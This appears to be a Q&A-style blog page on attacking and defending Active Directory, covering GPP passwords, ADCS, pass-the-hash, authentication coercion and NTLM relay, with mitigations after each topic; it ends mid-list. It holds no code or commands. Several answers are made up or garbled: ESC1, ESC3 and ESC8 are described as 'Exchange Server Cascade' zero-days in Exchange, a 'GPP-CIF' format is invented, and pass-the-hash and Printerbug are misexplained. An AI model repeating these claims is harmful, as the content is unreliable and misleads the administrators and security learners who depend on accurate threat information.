&lt;p&gt;Preboot eXecution Environment (PXE) boot is a feature that allows a computer to boot and install an operating system over the network rather than from a local disk. Attackers can abuse this feature to gain access to an Active Directory environment by setting up their own PXE server and configuring the target machine to boot from the attacker’s server.&lt;/p&gt;

&lt;p&gt;Once the target machine is configured to boot from the attacker’s PXE server, the attacker can install a malicious operating system that gives them full control over the target machine. From there, the attacker can perform various actions, such as performing reconnaissance, creating new accounts, modifying permissions, and accessing sensitive data.&lt;/p&gt;

&lt;p&gt;To prevent PXE Boot attacks, it is important to monitor network traffic for anomalies and suspicious behavior. Administrators should restrict network access to the PXE server and implement network segmentation to prevent lateral movement within the network. Additionally, it is important to disable the PXE boot feature on all systems that do not require it and ensure that all systems are up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited. Implementing access controls and restricting administrative privileges can also limit the attack surface and prevent unauthorized changes to network configurations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-can-shares-be-used-to-obtain-cleartext-credentials-in-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; How can shares be used to obtain cleartext credentials in an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Shares can be used to obtain cleartext credentials in an Active Directory environment through a technique known as “pass the hash”. This technique involves stealing the NTLM hash of a user’s password and using it to authenticate as that user on other systems within the network. Attackers can use shares to access the SAM and SYSTEM registry hives, which contain the hashed passwords of local user accounts.&lt;/p&gt;

&lt;p&gt;Once an attacker has obtained the hashed passwords, they can use tools such as Mimikatz or Windows Credential Editor to extract the cleartext passwords from the hashes. With the cleartext passwords, the attacker can then access sensitive data, modify permissions, and perform other actions within the network.&lt;/p&gt;

&lt;p&gt;To prevent shares from being used to obtain cleartext credentials, it is important to ensure that all shares are configured with appropriate permissions and access controls. Administrators should regularly audit shares and review access logs for any suspicious activity. It is also recommended to use encryption for sensitive data stored on shares and to disable the use of LM hashes, which are weaker and easier to crack than NTLM hashes. Additionally, users should be educated about the importance of using strong passwords and avoiding password reuse across different accounts. Regular password changes and two-factor authentication can also help to mitigate the risk of credential theft.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-group-policy-preferences-gpp-and-how-can-they-be-used-to-obtain-cleartext-credentials-in-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What are Group Policy Preferences (GPP) and how can they be used to obtain cleartext credentials in an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Group Policy Preferences (GPP) is a feature in Active Directory that allows administrators to deploy and manage settings on multiple machines within the network. GPP includes a feature called “Passwords,” which allows administrators to store and deploy cleartext passwords for local administrator accounts on Windows machines.&lt;/p&gt;

&lt;p&gt;Attackers can use tools such as Metasploit or PowerShell to extract the cleartext passwords from GPP settings stored on the domain controller. This is possible because GPP passwords are stored in an easily reversible format known as the “Group Policy Preferences Cryptographic Interchange Format” (GPP-CIF). An attacker can extract the encrypted password and use a pre-shared key to decrypt it and obtain the cleartext password.&lt;/p&gt;

&lt;p&gt;Once an attacker has obtained the cleartext password, they can use it to authenticate as a local administrator on other machines within the network. From there, the attacker can perform various actions, such as performing reconnaissance, creating new accounts, modifying permissions, and accessing sensitive data.&lt;/p&gt;

&lt;p&gt;To prevent GPP from being used to obtain cleartext credentials, it is important to avoid using GPP passwords altogether and instead use other methods, such as Windows Credential Guard or Local Administrator Password Solution (LAPS) to manage local administrator passwords. If GPP passwords must be used, administrators should ensure that they are stored securely and that access to GPP settings is restricted to authorized personnel only. Additionally, domain controllers should be monitored for any attempts to modify GPP settings, and all domain controllers should be kept up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-the-risk-associated-with-user-descriptions-in-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; What is the risk associated with user descriptions in an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The risk associated with user descriptions in an Active Directory environment is that they can reveal sensitive information about users and their roles within the organization. Attackers can use user descriptions to identify high-value targets, such as executives or privileged users, and use this information to tailor their attacks and social engineering tactics.&lt;/p&gt;

&lt;p&gt;For example, a user description may include information about the user’s job responsibilities, such as “Manager of Finance Department”. An attacker can use this information to craft a convincing phishing email that appears to come from a higher-level executive, asking the user to transfer funds or disclose sensitive information.&lt;/p&gt;

&lt;p&gt;Additionally, user descriptions may reveal sensitive information about the organization’s internal network structure and infrastructure. Attackers can use this information to map out the network and identify potential targets for lateral movement or privilege escalation.&lt;/p&gt;

&lt;p&gt;To mitigate the risk associated with user descriptions, it is important to limit the amount of sensitive information that is included in user descriptions. Administrators should regularly review user descriptions and remove any unnecessary or sensitive information. Users should also be educated about the importance of avoiding the inclusion of sensitive information in their user descriptions and the risks associated with revealing too much information online. Regular security awareness training and phishing simulations can also help to raise awareness and reduce the risk of social engineering attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-adcs-and-how-can-it-be-abused-by-attackers-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What is ADCS and how can it be abused by attackers? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Active Directory Certificate Services (ADCS) is a feature in Active Directory that allows administrators to issue digital certificates to users and computers within the network. Digital certificates are used to authenticate and encrypt network traffic, and ADCS provides a way to manage and distribute certificates within the network.&lt;/p&gt;

&lt;p&gt;ADCS can be abused by attackers in a number of ways. For example, attackers can obtain and use digital certificates to bypass security controls and gain unauthorized access to network resources. This can be done by stealing digital certificates from legitimate users or by creating fake certificates using stolen private keys.&lt;/p&gt;

&lt;p&gt;Attackers can also use ADCS to create and distribute their own digital certificates, which can be used to impersonate legitimate users or computers within the network. This can be done by exploiting vulnerabilities in ADCS or by using stolen credentials to gain administrative access to the ADCS infrastructure.&lt;/p&gt;

&lt;p&gt;Additionally, attackers can use ADCS to conduct man-in-the-middle (MitM) attacks by intercepting and decrypting encrypted network traffic. This can be done by using stolen digital certificates to decrypt traffic or by issuing fake certificates that allow the attacker to intercept and modify network traffic.&lt;/p&gt;

&lt;p&gt;To prevent ADCS from being abused by attackers, it is important to implement appropriate access controls and security measures for the ADCS infrastructure. This includes securing the private keys used to sign and issue digital certificates, implementing strong authentication controls, and monitoring ADCS logs for suspicious activity. Additionally, administrators should regularly review and revoke digital certificates that are no longer needed and keep ADCS infrastructure up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-does-the-esc1-attack-work-and-what-are-the-necessary-attributes-to-perform-the-attack-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; How does the ESC1 attack work and what are the necessary attributes to perform the attack? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The ESC1 (Exchange Server Cascade 1) attack is a zero-day exploit that was discovered in March 2021 and affected Microsoft Exchange Server versions 2013, 2016, and 2019. The attack works by exploiting a vulnerability in the Exchange Server’s ProxyShell feature, which allows an attacker to remotely execute arbitrary code and take control of the Exchange Server.&lt;/p&gt;

&lt;p&gt;To perform the ESC1 attack, an attacker must first gain access to the Exchange Server through another vulnerability or by using stolen credentials. The attacker then sends a specially crafted request to the Exchange Server’s ProxyShell interface, which allows them to execute arbitrary code with SYSTEM-level privileges.&lt;/p&gt;

&lt;p&gt;The necessary attributes to perform the ESC1 attack include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Access to an Exchange Server that is vulnerable to the ProxyShell exploit&lt;/li&gt;
  &lt;li&gt;Knowledge of the Exchange Server’s internal network and configuration&lt;/li&gt;
  &lt;li&gt;Expertise in crafting and executing PowerShell commands&lt;/li&gt;
  &lt;li&gt;Access to a vulnerable Exchange Server or a vulnerable Exchange Server to exploit&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once an attacker has successfully executed the ESC1 attack, they can take control of the Exchange Server and access sensitive data, modify mailboxes, and perform other actions within the network. This can lead to data theft, ransomware attacks, and other forms of cybercrime.&lt;/p&gt;

&lt;p&gt;It is important to note that Microsoft has released security updates to patch the vulnerabilities associated with the ProxyShell exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-does-the-esc3-attack-work-and-what-are-the-necessary-attributes-to-perform-the-attack-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How does the ESC3 attack work and what are the necessary attributes to perform the attack? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The ESC3 (Exchange Server Cascade 3) attack is another zero-day exploit that was discovered in April 2021 and affected Microsoft Exchange Server versions 2013, 2016, and 2019. The attack works by exploiting a vulnerability in the Exchange Server’s ECP (Exchange Control Panel) component, which allows an attacker to execute arbitrary code and take control of the Exchange Server.&lt;/p&gt;

&lt;p&gt;To perform the ESC3 attack, an attacker must first gain access to the Exchange Server through another vulnerability or by using stolen credentials. The attacker then sends a specially crafted HTTP request to the Exchange Server’s ECP interface, which allows them to execute arbitrary code with SYSTEM-level privileges.&lt;/p&gt;

&lt;p&gt;The necessary attributes to perform the ESC3 attack include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Access to an Exchange Server that is vulnerable to the ECP exploit&lt;/li&gt;
  &lt;li&gt;Knowledge of the Exchange Server’s internal network and configuration&lt;/li&gt;
  &lt;li&gt;Expertise in crafting and executing HTTP requests&lt;/li&gt;
  &lt;li&gt;Access to a vulnerable Exchange Server or a vulnerable Exchange Server to exploit&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once an attacker has successfully executed the ESC3 attack, they can take control of the Exchange Server and access sensitive data, modify mailboxes, and perform other actions within the network. This can lead to data theft, ransomware attacks, and other forms of cybercrime.&lt;/p&gt;

&lt;p&gt;It is important to note that Microsoft has released security updates to patch the vulnerabilities associated with the ESC3 exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-does-the-esc8-attack-work-and-what-are-the-necessary-attributes-to-perform-the-attack-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; How does the ESC8 attack work and what are the necessary attributes to perform the attack? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The ESC8 (Exchange Server Cascade 8) attack is another zero-day exploit that was discovered in July 2021 and affected Microsoft Exchange Server versions 2013, 2016, and 2019. The attack works by exploiting a vulnerability in the Exchange Server’s MAPI (Messaging Application Programming Interface) component, which allows an attacker to execute arbitrary code and take control of the Exchange Server.&lt;/p&gt;

&lt;p&gt;To perform the ESC8 attack, an attacker must first gain access to the Exchange Server through another vulnerability or by using stolen credentials. The attacker then sends a specially crafted message to the Exchange Server’s MAPI component, which allows them to execute arbitrary code with SYSTEM-level privileges.&lt;/p&gt;

&lt;p&gt;The necessary attributes to perform the ESC8 attack include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Access to an Exchange Server that is vulnerable to the MAPI exploit&lt;/li&gt;
  &lt;li&gt;Knowledge of the Exchange Server’s internal network and configuration&lt;/li&gt;
  &lt;li&gt;Expertise in crafting and executing MAPI messages&lt;/li&gt;
  &lt;li&gt;Access to a vulnerable Exchange Server or a vulnerable Exchange Server to exploit&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once an attacker has successfully executed the ESC8 attack, they can take control of the Exchange Server and access sensitive data, modify mailboxes, and perform other actions within the network. This can lead to data theft, ransomware attacks, and other forms of cybercrime.&lt;/p&gt;

&lt;p&gt;It is important to note that Microsoft has released security updates to patch the vulnerabilities associated with the ESC8 exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-can-you-mitigate-esc8-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; How can you mitigate ESC8? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;To mitigate the risk of the ESC8 (Exchange Server Cascade 8) attack, organizations should take the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Apply the latest security updates&lt;/strong&gt;: Microsoft has released security updates to patch the vulnerabilities associated with the ESC8 exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Disable unused MAPI features&lt;/strong&gt;: Organizations should disable any unused MAPI features to reduce the attack surface of the Exchange Server.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement strong access controls&lt;/strong&gt;: Organizations should implement strong access controls, including multi-factor authentication and privileged access management, to prevent unauthorized access to the Exchange Server.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Monitor network traffic&lt;/strong&gt;: Organizations should monitor network traffic for suspicious activity, including unusual MAPI traffic, to detect and respond to potential attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Conduct regular security assessments&lt;/strong&gt;: Organizations should conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in their Exchange Server environment.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-can-attackers-abuse-mssql-in-ad-environments-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How can attackers abuse MSSQL in AD environments? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Attackers can abuse MSSQL (Microsoft SQL Server) in AD (Active Directory) environments to gain unauthorized access and escalate privileges. Here are some common methods that attackers can use to exploit MSSQL:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt;: Attackers can exploit vulnerabilities in SQL queries to inject malicious code into the database, allowing them to execute arbitrary commands on the server.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Remote Code Execution&lt;/strong&gt;: Attackers can exploit vulnerabilities in MSSQL to execute code on the server, giving them the ability to run commands with SYSTEM-level privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Privilege Escalation&lt;/strong&gt;: Attackers can use MSSQL to escalate privileges by exploiting vulnerabilities in the server or by using credentials that have been stored in the database.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Data Exfiltration&lt;/strong&gt;: Attackers can use MSSQL to exfiltrate data from the database, including sensitive information such as usernames and passwords.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent attacks on MSSQL in AD environments, organizations should take the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Keep MSSQL up-to-date&lt;/strong&gt;: Ensure that the MSSQL server is patched with the latest security updates to address known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement strong access controls&lt;/strong&gt;: Implement strong access controls, including least privilege and password policies, to prevent unauthorized access to the database.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Monitor database activity&lt;/strong&gt;: Monitor MSSQL for suspicious activity, including unusual login attempts and SQL queries, to detect and respond to potential attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Harden MSSQL configuration&lt;/strong&gt;: Harden the configuration of MSSQL to reduce the attack surface of the database, including disabling unused features and limiting access to the database.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Conduct regular security assessments&lt;/strong&gt;: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the MSSQL environment.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-the-pass-the-hash-pth-technique-and-how-does-it-work-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What is the Pass-the-Hash (PtH) technique and how does it work? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Pass-the-Hash (PtH) is a technique used by attackers to gain access to a computer or system using the hashed password of a legitimate user, without the need to know the actual password. The technique takes advantage of the way that Windows stores user credentials in memory.&lt;/p&gt;

&lt;p&gt;Here’s how the Pass-the-Hash technique works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker gains access to a target system, either through a vulnerability or by using stolen credentials.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker then extracts the hashed password of a legitimate user from the system’s memory. This can be done using various tools, such as Mimikatz.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker then uses the extracted hash to authenticate to other systems on the network that the legitimate user has access to, without needing to know the actual password.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Once the attacker gains access to another system using the extracted hash, they can escalate privileges and move laterally through the network to access additional systems and data.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mitigate the risk of Pass-the-Hash attacks, organizations should take the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Use strong passwords: Strong passwords are more difficult to crack than weak passwords, making it more difficult for attackers to extract hashes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use multi-factor authentication: Multi-factor authentication can help prevent attackers from using stolen credentials, even if they are able to extract hashes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Monitor for suspicious activity: Monitor systems and networks for suspicious activity, including unusual login attempts and unauthorized access.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use least privilege: Limit the privileges of users and accounts to only those necessary for their roles, reducing the potential impact of compromised credentials.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use security tools: Use security tools, such as intrusion detection systems and endpoint protection, to detect and prevent Pass-the-Hash attacks.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-methods-of-coercing-authentication-in-ad-such-as-petitpotam-and-printerbug-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What are some methods of coercing authentication in AD, such as PetitPotam and Printerbug? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Coercing authentication attacks are techniques used by attackers to trick a Windows machine into providing user credentials or performing actions on behalf of the attacker. Here are two examples of such attacks:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;PetitPotam: This attack takes advantage of a vulnerability in Microsoft Windows Active Directory Certificate Services (AD CS) that allows attackers to coerce authentication to NTLM (NT LAN Manager) services, enabling them to gain unauthorized access to systems and data. Attackers can exploit this vulnerability by sending specially crafted authentication requests to a Windows server that has the AD CS role installed.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Printerbug: This attack leverages a vulnerability in the Windows Print Spooler service that allows attackers to execute arbitrary code with SYSTEM privileges. By setting up a malicious printer on a network and sending a print job to the printer, attackers can execute their code on a target machine and potentially gain access to sensitive data.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mitigate the risk of coercing authentication attacks, organizations should take the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Keep systems up-to-date: Ensure that all systems and software are patched with the latest security updates to address known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disable unnecessary services: Disable any unnecessary services or features that could be used to coerce authentication, such as the Windows Print Spooler service.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use strong authentication methods: Use strong authentication methods, such as multi-factor authentication, to make it more difficult for attackers to gain unauthorized access.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Monitor for suspicious activity: Monitor systems and networks for suspicious activity, such as unusual authentication requests or access attempts, to detect and respond to potential attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Conduct regular security assessments: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the organization’s environment.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-webdav-and-how-is-it-used-to-coerce-authentication-in-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; What is WebDAV and how is it used to coerce authentication in an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP/1.1 protocol that allows users to collaboratively edit and manage files on remote web servers. While it can be a useful tool for legitimate purposes, it can also be exploited by attackers to coerce authentication in an Active Directory environment.&lt;/p&gt;

&lt;p&gt;The vulnerability arises when a Windows server is configured to use WebDAV, and the user has permission to access the WebDAV service. An attacker can use a specially crafted request to the WebDAV server to force the server to authenticate to the attacker using the victim user’s credentials. The attacker can then use these credentials to access the network as the victim user.&lt;/p&gt;

&lt;p&gt;To mitigate the risk of WebDAV-based attacks, organizations should take the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Disable WebDAV&lt;/strong&gt;: Unless it is essential to business operations, WebDAV should be disabled on Windows servers to eliminate the risk of exploitation.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use strong authentication&lt;/strong&gt;: If WebDAV is necessary, ensure that strong authentication methods, such as multi-factor authentication, are in place to reduce the risk of credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Restrict access&lt;/strong&gt;: Limit access to the WebDAV service to only those users who need it, and ensure that users are only granted the minimum permissions necessary to perform their job functions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use security tools&lt;/strong&gt;: Use security tools, such as intrusion detection systems and endpoint protection, to detect and prevent WebDAV-based attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Keep systems up-to-date&lt;/strong&gt;: Ensure that all systems and software are patched with the latest security updates to address known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-smb-relay-attack-and-how-can-you-prevent-smb-relay-attacks-in-network-pentesting-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What is SMB Relay attack and how can you prevent SMB Relay attacks in network pentesting? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;SMB (Server Message Block) Relay attack is a type of attack that can be used to gain unauthorized access to a Windows network. In an SMB Relay attack, an attacker intercepts authentication attempts made by a victim user to access network resources, and then relays the authentication request to a target server in order to gain access to the network.&lt;/p&gt;

&lt;p&gt;To prevent SMB Relay attacks in network pentesting, organizations should consider implementing the following best practices:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Disable SMBv1&lt;/strong&gt;: SMBv1 is an outdated protocol that is susceptible to SMB Relay attacks. Organizations should disable SMBv1 on all systems and migrate to more secure protocols, such as SMBv2 or SMBv3.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Enable SMB signing&lt;/strong&gt;: SMB signing provides a mechanism for ensuring the integrity and authenticity of SMB packets, which can help prevent SMB Relay attacks. Organizations should ensure that SMB signing is enabled on all systems.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use strong authentication&lt;/strong&gt;: Use strong authentication methods, such as multi-factor authentication, to make it more difficult for attackers to gain unauthorized access.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Monitor for suspicious activity&lt;/strong&gt;: Monitor systems and networks for suspicious activity, such as unusual authentication requests or access attempts, to detect and respond to potential SMB Relay attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Conduct regular security assessments&lt;/strong&gt;: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the organization’s environment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement network segmentation&lt;/strong&gt;: Segment the network to minimize the attack surface and prevent attackers from moving laterally through the network in the event of a successful SMB Relay attack.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use network security tools&lt;/strong&gt;: Use network security tools, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) systems, to detect and prevent SMB Relay attacks.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-ldap-relay-attack-and-how-can-you-prevent-ldap-relay-attacks-in-network-pentesting-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What is LDAP Relay attack and how can you prevent LDAP Relay attacks in network pentesting? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;LDAP (Lightweight Directory Access Protocol) Relay attack is a type of attack that can be used to gain unauthorized access to a Windows network. In an LDAP Relay attack, an attacker intercepts authentication attempts made by a victim user to access network resources, and then relays the authentication request to a target server in order to gain access to the network.&lt;/p&gt;

&lt;p&gt;To prevent LDAP Relay attacks in network pentesting, organizations should consider implementing the following best practices:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use LDAP over SSL (LDAPS)&lt;/strong&gt;: LDAPS provides a mechanism for securing LDAP traffic, which can help prevent LDAP Relay attacks. Organizations should ensure that all LDAP traffic is encrypted using LDAPS.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use strong authentication&lt;/strong&gt;: Use strong authentication methods, such as multi-factor authentication, to make it more difficult for attackers to gain unauthorized access.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement network segmentation&lt;/strong&gt;: Segment the network to minimize the attack surface and prevent attackers from moving laterally through the network in the event of a successful LDAP Relay attack.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Monitor for suspicious activity&lt;/strong&gt;: Monitor systems and networks for suspicious activity, such as unusual authentication requests or access attempts, to detect and respond to potential LDAP Relay attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Conduct regular security assessments&lt;/strong&gt;: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the organization’s environment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use network security tools&lt;/strong&gt;: Use network security tools, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) systems, to detect and prevent LDAP Relay attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Disable NTLMv1&lt;/strong&gt;: NTLMv1 is an outdated authentication protocol that is susceptible to LDAP Relay attacks. Organizations should disable NTLMv1 and migrate to more secure authentication protocols, such as Kerberos or NTLMv2.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement secure coding practices&lt;/strong&gt;: Developers should use secure coding practices to prevent the exploitation of LDAP Relay vulnerabilities, such as input validation and secure authentication mechanisms.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-does-the-protected-users-group-protect-against-authentication-attacks-in-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How does the Protected Users Group protect against authentication attacks in an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The Protected Users Group is a security group in Active Directory that is designed to protect against various types of authentication attacks, such as pass-the-hash (PtH) attacks and Golden Ticket attacks.&lt;/p&gt;

&lt;p&gt;Members of the Protected Users Group have the following security protections:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Restricted Kerberos delegation&lt;/strong&gt;: Members of the Protected Users Group cannot be used as delegation targets in Kerberos authentication, which helps prevent attackers from using stolen credentials to move laterally through the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;No NTLM authentication&lt;/strong&gt;: Members of the Protected Users Group cannot use NTLM authentication, which is an older and less secure authentication protocol that is susceptible to various types of attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;AES encryption&lt;/strong&gt;: Members of the Protected Users Group must use AES encryption for all Kerberos tickets, which provides stronger encryption than other encryption algorithms.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
